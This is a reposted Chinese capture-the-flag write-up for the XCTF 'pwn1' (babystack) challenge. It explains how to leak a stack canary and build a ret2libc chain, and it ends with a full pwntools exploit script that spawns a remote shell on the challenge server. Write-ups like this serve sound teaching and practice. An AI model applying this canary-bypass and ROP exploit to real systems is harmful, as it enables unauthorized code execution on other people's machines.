[攻防世界 pwn]——pwn1(内涵peak小知识)
生活随笔
收集整理的這篇文章主要介紹了
[攻防世界 pwn]——pwn1(内涵peak小知识)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[攻防世界 pwn]——pwn1
- 題目地址:https://adworld.xctf.org.cn/
- 題目:
peak小知識
這道題目的關鍵就是泄露canary,通常我們泄露canary有兩種方法,遇見printf函數,并且有格式化字符串漏洞的我們可以直接計算偏移利用%{offest}$s,打印出來。當然也可以用 % {offest} $p直接打印出canary 的值。
遇見可以利用的棧溢出gets函數,如果有puts函數,或者printf("%s", **)的我們也可以直接泄露出來它。首先我們要清楚canary的位置,在ebp + 8的位置。并且第一個字符為’\x00’,目的就是為了截斷防止泄露出來canary,我們可以將其’\x00’覆蓋為一個非零的值。這樣就可以打印出canary了。該題利用的就是這一思路。
解題
還是先checksec 一下,開啟了full relro意味著got表無法修改
在IDA中,查看一下
將里面的字符打印出來而已,區別是前三句有回車,第四句沒有
將讀取的字符轉為數字
思路
利用輸入1,寫入可以泄露出canary的字符串。
利用輸入2,泄露canary
再次利用輸入1, 寫入我們想要執行的rop鏈
利用輸入3, 退出程序,同時執行rop鏈
接著按照我們的思路就可以了
就變成了ret2libc問題
leek出一個地址,找libc算偏移。找system, ‘/bin/sh’。執行
exploit
from pwn import * from LibcSearcher import * p = remote('111.200.241.244',35224) elf = ELF("./babystack") puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = 0x0000000000400908 pop_rdi = 0x0000000000400a93p.sendlineafter('>> ','1') payload = 'a' * (0x90 - 8) p.sendline(payload) # 等價于p.send('a' * 0x88 + '\n') p.sendlineafter('>> ','2') p.recvuntil('aaaa\n') canary = u64(p.recv(7).rjust(8,'\x00')) payload1 = 'a' * (0x90 - 8) + p64(canary) + 'a' * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendlineafter('>> ','1') p.send(payload1) p.sendlineafter('>> ','3') puts_addr = u64(p.recv(6).ljust(8,'\x00')) log.success("puts_addr +: " + hex(puts_addr) ) libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') system = libc_base + libc.dump('system') binsh = libc_base + libc.dump('str_bin_sh') p.sendlineafter('>> ','1') payload2 = 'a' * (0x90 - 8) + p64(canary) + 'a' * 8 + p64(pop_rdi) + p64(binsh) + p64(system) p.send(payload2) p.sendlineafter('>> ','3') p.interactive() 與50位技術專家面對面20年技術見證,附贈技術全景圖總結
以上是生活随笔為你收集整理的[攻防世界 pwn]——pwn1(内涵peak小知识)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [攻防世界 pwn]——实时数据监测
- 下一篇: python实现数字形式转换